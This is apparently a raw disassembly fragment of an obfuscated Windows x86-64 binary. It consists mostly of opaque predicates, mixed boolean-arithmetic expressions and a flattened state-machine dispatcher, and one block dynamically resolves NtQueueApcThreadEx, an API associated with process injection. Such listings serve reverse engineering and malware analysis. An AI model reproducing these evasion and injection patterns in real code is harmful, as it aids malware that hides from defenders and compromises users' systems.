not ebp
or ebx, 0xd4c4557d
mov ecx, ebx
not ecx
and edx, 0x145f9998
and ebp, 0xc0804465
or ebp, edx
and ebx, 0x145f9998
and ecx, 0x2b202202
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0x2b3baa82
and ecx, 0xd4c4557d
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x4c51e988
and edx, 0xb3ae1677
or edx, ecx
xor edx, 0xb3ae1677
setne r8b
sete r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
mov r10d, eax
xor r10b, dl
and r10b, al
mov ecx, r9d
xor cl, r8b
and cl, r9b
mov ebx, ecx
not bl
and bl, r10b
not r10b
and r10b, cl
or r10b, bl
and r8b, al
and dl, r9b
or dl, r8b
mov ecx, eax
and cl, r9b
xor al, r9b
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov r8d, r10d
xor r8b, 1
mov r11d, ecx
xor r11b, 1
mov eax, r8d
and al, r10b
mov edx, r11d
and dl, cl
mov r9d, r8d
and r9b, al
xor al, r8b
or al, r9b
mov r9d, r11d
and r9b, dl
xor dl, r11b
or dl, r9b
mov ebx, eax
xor bl, 1
and bl, dl
xor dl, 1
and dl, al
or dl, bl
xor r11b, r8b
or cl, r10b
xor cl, 1
or cl, r11b
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xc157d0c8
mov ebp, 0xab0ed83d
cmovne eax, ebp
test cl, 1
mov ecx, 0xc157d0c8
jmp 0x140140de6
mov ecx, 0x62f15119
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe992c50a
and edx, 0x166d3af5
or edx, ecx
mov ebp, edx
not ebp
xor edx, 0xe992c50a
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0xfffffffe
and ebp, 1
or ebp, edx
mov edx, ebp
not edx
mov edi, ecx
and edi, 0x7846cc18
and ebx, 0x87b933e6
or ebx, edi
or ecx, edx
and edx, 0x7846cc18
and ebp, 0x87b933e7
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x5c83a6c3
and ecx, 0xa37c593c
or ecx, edx
mov edx, ecx
xor edx, 0x82141018
xor ecx, 0x10008641
and ecx, 0x3168cf65
and edx, 0xce97309a
or edx, ecx
mov ecx, edx
xor ecx, 0xc290200a
xor edx, 0x3028c600
and edx, 0x3c2fd690
and ecx, 0xc3d0296f
or ecx, edx
xor ecx, 0xc3d0296f
setne cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
xor al, 1
or dl, al
mov r8d, edx
xor r8b, 1
or cl, bl
xor cl, 1
and al, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, r8b
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xb27fd30a
mov ebp, 0x1fe423de
cmovne ecx, ebp
test dl, 1
mov edx, 0xb27fd30a
jmp 0x14013de1a
mov rax, qword [rsp + 0x38]
mov qword [0x1402650a0], rax
mov ecx, 0x4e7bda73
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x58258882
and edx, ecx
and ecx, 0xa7da777d
or ecx, ebp
mov ebp, ecx
xor ebp, 0x2da0518
xor ecx, 0x58258882
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xfd20f265
and ebp, 0x2df0d9a
or ebp, edi
or ecx, ebx
and ebx, 0xfd20f265
and edx, 0x2df0d9a
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x775bace4
and ecx, 0x88a4531b
or ecx, edx
xor ecx, 0x88a4531a
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc022400
mov ebp, ecx
and ebp, 0xa0118840
or ebp, edx
xor ebp, 0xa0118840
and ecx, 0x53ec53bf
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x41ffc6e5
and ecx, 0xbe00391a
or ecx, edx
mov edx, ecx
xor edx, 0x10131012
xor ecx, 0x8c86a21
and edx, 0xf5371096
and ecx, 0xac8ef69
or ecx, edx
xor ecx, 0xac8ef69
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and dl, bl
or bl, r8b
xor bl, 1
or bl, cl
and al, r8b
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor dl, 1
and dl, bl
xor bl, 1
and cl, bl
or dl, cl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xba9664ed
mov ecx, 0x187250ee
cmovne ebp, ecx
test al, 1
mov ecx, 0xba9664ed
jmp 0x14013ea27
mov eax, dword [0x1402656e8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x7d87f517
and ecx, 0x82780ae8
or ecx, eax
mov ebp, ecx
xor ebp, 0x800000a0
xor ecx, 0x51808100
or edx, 0xd9b587e9
mov eax, edx
not eax
or ecx, 0x4486012
and ecx, 0x55f8e35a
and ebp, 0x880504a1
or ebp, ecx
and edx, 0x55f8e35a
and eax, 0x22021804
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0xe287726f
and eax, 0x1d788d90
or eax, ecx
mov ecx, eax
xor ecx, 0xc4cd0a79
mov edx, eax
xor edx, 0xc4cd0a78
and edx, ecx
xor eax, 0x3b32f586
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x43dc6a29
and eax, 0xbc2395d6
or eax, ecx
xor eax, 0x43dc6a29
sete cl
setne al
cmp dword [0x1402656e4], 9
setg dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r8d, eax
xor r8b, 1
mov ebx, edx
xor bl, cl
not bl
and bl, cl
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, 1
and dl, al
or al, cl
and cl, r8b
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x324bb1be
mov ebp, 0x5867b6ee
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0x324bb1be
cmovne ecx, ebp
test al, 1
jmp 0x14013fb99
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0xf525a2b7
and ecx, ebp
and ebp, 0xada5d48
or ebp, edx
xor ebp, 0xada5d48
mov edx, ebp
and edx, ecx
xor ebp, ecx
or ebp, edx
mov edi, ebp
not edi
mov edx, ebp
xor edx, 0xcdff181b
mov ebx, edx
and ebx, edi
and edx, ebp
mov ecx, ebx
not ecx
mov esi, edx
not esi
mov eax, ecx
and eax, 0x9cd41107
and ebx, 0x632beef8
or ebx, eax
or ecx, esi
and esi, 0x9cd41107
and edx, 0x632beef8
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x5b85703d
and ecx, 0xa47a8fc2
or ecx, eax
mov ebx, ecx
xor ebx, 0x498585d8
and ebp, 0x3f1b1a32
mov eax, edi
and eax, 0xc0e4e5cd
or eax, ebp
xor eax, 0x3f1b1a33
and edi, 1
or edi, eax
mov eax, edi
not eax
and eax, 0x82f33fd4
and edi, 0x7d0cc02b
or edi, eax
mov eax, edi
xor eax, 0x590c802a
xor ecx, 0x967a6827
xor edi, 0x82f33fd4
mov edx, ecx
and edx, 0x24725205
and ebx, 0xdb8dadfa
or ebx, edx
or ecx, edi
and edi, 0x24725205
and eax, 0xdb8dadfa
or eax, edi
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x18eae31
and ecx, 0xfe7151ce
or ecx, eax
mov eax, ecx
not eax
and eax, 0x79d4f1cd
and ecx, 0x862b0e32
or ecx, eax
mov eax, ecx
xor eax, 0x84a48003
xor ecx, 0x8020028
and ecx, 0xb032028
and eax, 0xf4fcdfd7
or eax, ecx
mov ecx, eax
xor ecx, 0xf014da81
xor eax, 0xb020000
and eax, 0xfea0556
and ecx, 0xf015faa9
or ecx, eax
xor ecx, 0xf015faa9
setne r9b
sete bl
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg al
mov r8d, eax
and r8b, bl
or bl, al
xor bl, 1
mov edx, r9d
and dl, cl
or cl, r9b
xor cl, 1
mov r10d, ebx
and r10b, cl
xor cl, bl
or cl, r10b
or dl, r8b
mov ebx, eax
xor bl, r9b
or al, r9b
xor al, 1
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
xor al, cl
test al, 1
mov eax, 0x4e7bda73
mov ebp, 0x2003c725
cmovne eax, ebp
test dl, 1
mov edx, eax
mov ebp, 0x4e7bda73
jmp 0x14013ebcc
mov eax, dword [0x1402656e8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, ebx
or edx, 0x7830300e
mov ebp, edx
not ebp
mov ecx, ebx
xor ecx, 0x87cfcff1
and ecx, ebx
mov edi, ecx
not edi
mov esi, edx
and esi, 0xb4e494dd
and ebp, 0x30b4b20
or ebp, esi
or edx, edi
and edi, 0xb4e494dd
and ecx, 0x4b1b6b22
or ecx, edi
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x7830300f
and edx, 0x87cfcff0
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x5be7c66e
and edx, 0xa4183991
or edx, ebp
and ebx, 0x5be7c66e
and eax, 0xa4183991
or eax, ebx
xor eax, edx
xor ecx, eax
test ecx, eax
sete dl
setne bl
cmp dword [0x1402656e4], 9
setg r8b
mov ecx, ebx
xor cl, r8b
and bl, cl
mov eax, ecx
and al, r8b
mov r9d, ebx
and r9b, al
xor al, bl
or al, r9b
xor dl, r8b
and dl, r8b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
xor al, 1
mov edx, ebx
and dl, cl
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, al
mov ecx, eax
and cl, bl
xor al, bl
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x409d5486
mov ebp, 0x528710d
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0x409d5486
jmp 0x14013281c
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x485f03f3
and ebp, 0xb7a0fc0c
or ebp, edi
or ecx, ebx
and ebx, 0x485f03f3
and edx, 0xb7a0fc0c
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x496adaeb
and ebp, 0xb6952514
or ebp, edi
or ecx, ebx
and ebx, 0x496adaeb
and edx, 0xb6952514
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, dl
xor al, 1
or al, r8b
or dl, bl
or cl, r8b
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0xcbac81b0
mov ebp, 0xe9619ba
cmovne ecx, ebp
test bl, bl
mov edx, 0xcbac81b0
cmove ecx, edx
test al, 1
jmp 0x14013fe2c
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xda695de5
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0xda518ada
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov eax, ebx
not eax
mov edx, ebx
xor edx, 0x990debe9
and edx, ebx
mov ecx, ebx
or ecx, 0x66f21416
mov edi, edx
not edi
mov esi, ecx
and esi, 0x3a7f45fb
mov ebp, eax
and ebp, 0x8100aa00
or ebp, esi
or ecx, edi
and edi, 0x3a7f45fb
and edx, 0xc580ba04
or edx, edi
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x66f21417
and ecx, 0x990debe8
or ecx, edx
mov edx, ecx
not edx
and eax, edx
and ecx, ebx
or ecx, eax
xor edx, ecx
test edx, ecx
setne r9b
sete cl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov edx, eax
xor dl, cl
mov r8d, edx
xor r8b, 1
and r9b, bl
or bl, cl
and al, cl
or al, r9b
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, eax
not cl
and cl, dl
or dl, al
and al, r8b
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x6e6b3b98
mov ecx, 0x413e2e51
cmovne ebp, ecx
test al, al
mov ecx, ebp
mov eax, 0x6e6b3b98
cmovne ecx, eax
test dl, 1
jmp 0x14013fe2c
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0x14b3de44
mov edx, ebp
and edx, 0xeb4c21bb
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xeb4c21ba
and edx, 0x14b3de45
or edx, ebx
and ecx, 0x8c38ee2a
and ebp, 0x73c711d5
or ebp, ecx
mov ecx, ebp
xor ecx, 0x434300c0
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x3c945d15
and edx, 0xc36ba2ea
or edx, ebx
xor ebp, 0xc104c00
and ebp, 0x3c945d15
and ecx, 0xc36ba2ea
or ecx, ebp
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete dl
setne bl
cmp eax, 9
setg r9b
cmp eax, 0xa
setl al
and bl, al
and r9b, dl
or r9b, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, eax
xor dl, r9b
mov r8d, r9d
xor r8b, 1
xor dl, 1
or al, r8b
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
mov ecx, r9d
xor cl, al
and cl, r9b
and dl, r8b
and al, r9b
or al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x901bace5
mov ebp, 0xde3612b0
cmovne edx, ebp
test al, al
mov eax, edx
cmovne eax, ebp
test cl, cl
cmove eax, edx
jmp 0x14013f449
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ebp, ebx
and ebp, 0xe3d83271
mov ecx, edx
xor ecx, 0xe3d83271
and ecx, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x1c27cd8f
and ecx, 0xe3d83270
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xd4e4d9b7
and ecx, 0x2b1b2648
or ecx, ebp
mov ebp, ecx
xor ebp, 0x21100200
and ebx, 0x9b8e1f83
and edx, 0x6471e07c
or edx, ebx
mov ebx, edx
xor ebx, 0x6030c000
xor ecx, 0xd4e4d9b7
xor edx, 0x9b8e1f83
mov edi, ecx
and edi, 0x1ecf3cff
and ebp, 0xe130c300
or ebp, edi
or ecx, edx
and edx, 0x1ecf3cff
and ebx, 0xe130c300
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xfdf791d9
and ecx, 0x2086e26
or ecx, edx
xor ecx, 0x2086e26
sete r8b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, r10b
not al
and al, r10b
mov ebx, r9d
or bl, r10b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, r8b
and dl, cl
and r10b, r9b
and cl, r8b
or cl, r10b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
and bl, cl
mov r8d, edx
and r8b, cl
xor dl, cl
xor cl, 1
and al, cl
or al, bl
or dl, r8b
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xedd1c52f
mov ebp, 0x1b9253fb
cmovne ecx, ebp
test dl, 1
mov edx, 0xedd1c52f
cmovne edx, ecx
test al, 1
cmove edx, ecx
jmp 0x14014036d
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x386b29d4
and edx, ebp
not ebp
and ebp, 0x18282810
and ecx, 0x204301c4
or ecx, ebp
xor ecx, 0x204301c4
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x2fd32244
and edx, 0xd02cddbb
or edx, ecx
mov ebp, edx
xor ebp, 0x60455003
xor edx, 0x17b80b90
mov edi, edx
or edi, 1
mov ebx, edi
not ebx
and edx, 0x9e1aa5fc
and ebp, 0x61e55a03
or ebp, edx
mov edx, ebp
xor edx, 0x40614002
xor ebp, 0x9e1aa5fd
mov ecx, edi
and ecx, 0x238c3af4
and ebx, 0xdc73c50a
or ebx, ecx
or edi, ebp
and ebp, 0x238c3af4
and edx, 0xdc73c50b
or edx, ebp
xor edx, ebx
not edi
or edi, edx
mov edx, edi
mov ecx, edi
xor ecx, 0x6e892b63
and ecx, edi
not edi
and edi, 0x42090223
and edx, 0x2c802940
or edx, edi
xor edx, 0x2c802940
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xf4243204
and ecx, 0xbdbcdfb
or ecx, edx
xor ecx, 0x6552e698
setne r9b
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl cl
mov r10d, ecx
xor r10b, r8b
mov eax, r10d
xor al, 1
and r9b, cl
and bl, r8b
or bl, r9b
and cl, r8b
or cl, r10b
xor cl, 1
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
and al, r10b
mov ecx, eax
and cl, r10b
xor al, r10b
or al, cl
xor al, bl
mov ecx, r10d
xor cl, bl
or bl, r10b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0xa5f837b6
mov ecx, 0x57e87cb1
cmovne edx, ecx
test bl, 1
mov ecx, 0xa5f837b6
jmp 0x140140c51
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xeadb3417
and edx, 0x1524cbe8
or edx, ecx
mov edi, edx
xor edi, 0x14244308
xor edx, 0xa2491417
and edx, 0xa3499cf7
and edi, 0x5cb66308
or edi, edx
mov ebp, edi
xor ebp, 0xa3499cf7
mov ecx, edi
xor ecx, 0x66200
and ecx, 0x6f685
xor edi, 0x27f95e63
and edi, ebp
and ebp, 0xfff9097a
or ebp, ecx
mov ecx, ebp
xor ecx, 0xfff9097a
xor ebp, 0x6f685
mov ebx, ebp
or ebx, 0x7b4f3d6b
mov edx, ebx
not edx
mov esi, edi
not esi
mov eax, ebx
and eax, 0xa8e07981
and edx, 0x4108214
or edx, eax
or ebx, esi
and esi, 0xa8e07981
and edi, 0x571f867e
or edi, esi
xor edi, edx
not ebx
or ebx, edi
mov eax, ebx
not eax
and eax, 0x7b4f3d6a
and ebx, 0x84b0c295
or ebx, eax
and ebp, 0x8858dcdc
mov eax, ecx
and eax, 0x77a72323
or eax, ebp
xor eax, 0x8858dcdd
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x23eb4e6
and ecx, 0xfdc14b19
or ecx, eax
xor ecx, 0xfdc14b19
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, ecx
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x5e1f7d29
and eax, 0xa1e082d6
or eax, ebx
or ecx, ebp
and ebp, 0x5e1f7d29
and edx, 0xa1e082d6
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd4a5f8f5
and eax, 0x2b5a070a
or eax, ecx
mov ecx, eax
xor ecx, 0x14011080
xor eax, 0x2342030a
and eax, 0xe3e6eb7f
and ecx, 0x1c191480
or ecx, eax
xor ecx, 0x1c191480
sete r9b
setne al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov ecx, eax
and cl, bl
and dl, r9b
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
not cl
xor bl, al
mov eax, ebx
xor al, 1
and bl, dl
or dl, al
and al, cl
or al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x596475b0
mov ecx, 0x75907678
cmovne ebp, ecx
test al, al
mov ecx, ebp
mov eax, 0x596475b0
cmovne ecx, eax
test dl, dl
jmp 0x14013fe2c
mov eax, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
and eax, ebp
and edx, ebx
or edx, eax
not edx
or edx, ebp
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ecx
xor dl, bl
and dl, cl
mov ecx, ebx
xor cl, al
not cl
and cl, al
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, edx
xor al, 1
xor dl, bl
xor bl, 1
or bl, al
mov eax, edx
xor al, bl
test dl, dl
mov ecx, 0x814e6c28
mov ebp, 0xdb503062
cmovne ecx, ebp
test bl, 1
mov edx, 0x814e6c28
jmp 0x14013de1a
mov eax, dword [0x1402656e8]
mov edi, dword [0x1402656e4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
and eax, edx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, ebp
and ebx, eax
xor eax, ebp
or eax, ebx
not eax
mov ebp, eax
and ebp, edx
xor eax, edx
or eax, ebp
cmp eax, 0xffffffff
setne dl
sete bl
cmp edi, 0xa
setl cl
cmp edi, 9
setg r8b
mov eax, r8d
xor al, bl
and al, r8b
and cl, dl
and r8b, bl
or r8b, cl
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
mov ebx, r8d
xor bl, 1
mov edx, ebx
mov ecx, eax
mov r9d, ebx
mov r10d, ebx
and r10b, al
xor bl, al
xor al, 1
and dl, r8b
and cl, al
xor r9b, dl
xor dl, 1
or dl, r8b
xor dl, 1
or dl, r9b
xor cl, 1
mov r8d, eax
xor r8b, cl
or cl, al
xor cl, 1
or cl, r8b
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and cl, dl
or cl, al
or bl, r10b
mov eax, ebx
xor al, cl
test bl, 1
mov edx, 0xefb01833
mov ebp, 0x1a60e068
cmovne edx, ebp
test cl, 1
cmove edx, ebp
test al, 1
mov eax, 0xefb01833
jmp 0x14014036a
mov ecx, 0x6e6b3b98
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea esi, [rdx - 1]
imul esi, edx
mov ecx, esi
not ecx
mov ebp, ecx
or ebp, 0x889ff67a
mov edx, ebp
not edx
mov ebx, esi
or ebx, 0x11200081
and ebx, 0x1938e281
mov edi, ecx
and edi, 0x8087147a
or edi, ebx
and ebp, 0x1938e281
and edx, 0x66400904
or edx, ebp
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0x8a02d77b
and edx, 0x75fd2884
or edx, ebp
mov ebx, edx
xor ebx, 0xfd62deff
xor edx, 0x2802000
and ecx, 0x28cbe3e
and esi, 0xfd7341c1
or esi, ecx
mov ecx, esi
xor ecx, 0x94624081
xor esi, 0x28cbe3e
mov ebp, ebx
and ebp, 0x691d075c
and edx, 0x96e2f8a3
or edx, ebp
or ebx, esi
and esi, 0x691d075c
and ecx, 0x96e2f8a3
or ecx, esi
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x90bad91a
and ebx, 0x6f4526e5
or ebx, ecx
xor ebx, 0x6f4526e5
sete bl
setne r8b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg dl
mov eax, edx
or bl, dl
and dl, r8b
xor al, r8b
or al, dl
mov edx, eax
xor dl, 1
or r9b, r8b
mov ecx, r9d
xor cl, bl
or bl, r9b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, al
or al, cl
and cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xee2b8d15
mov ebp, 0x58000016
cmovne ecx, ebp
test al, 1
mov eax, 0xee2b8d15
jmp 0x14013ee27
mov ecx, 0xdd268fc3
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0xf12ca81
mov ecx, ebp
and ecx, 0x3005300c
or ecx, ebx
mov ebx, ecx
xor ebx, 0x30052000
xor ecx, 0xcffacff3
mov edx, ebp
xor edx, 0x3f17fa8d
and edx, ebp
mov esi, edx
not esi
mov eax, ecx
and eax, 0x83fa583f
and ebx, 0x3c05a280
or ebx, eax
or ecx, esi
and esi, 0x83fa583f
and edx, 0x7c05a7c0
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xc0e80573
and ecx, 0x3f17fa8c
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x4284fdf1
and eax, 0xbd7b020e
or eax, edx
or ecx, ebp
and ebp, 0x4284fdf1
and edi, 0xbd7b020e
or edi, ebp
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
and eax, 0x74b8b1a2
and ecx, 0x8b474e5d
or ecx, eax
xor ecx, 0x8b474e5d
sete cl
setne al
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl r8b
mov ebx, r8d
xor bl, al
xor bl, 1
or bl, r9b
mov r10d, ebx
xor r10b, 1
or al, r8b
or cl, r9b
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
and bl, al
xor al, 1
and al, r10b
or al, bl
mov edx, r10d
xor dl, cl
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x5565d5e
mov ebp, 0x75907678
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x5565d5e
jmp 0x140140dec
mov eax, dword [0x1402656e8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov eax, ecx
and eax, 1
or eax, ebp
mov ebp, eax
not ebp
and edx, 0xdbc56b94
and ecx, 0x243a946b
or ecx, edx
mov edx, ecx
xor edx, 0x24280069
xor ecx, 0xdbc56b94
mov ebx, eax
and ebx, 0x4392bd86
and ebp, 0xbc6d4279
or ebp, ebx
or eax, ecx
and ecx, 0x4392bd86
and edx, 0xbc6d4279
or edx, ecx
xor edx, ebp
not eax
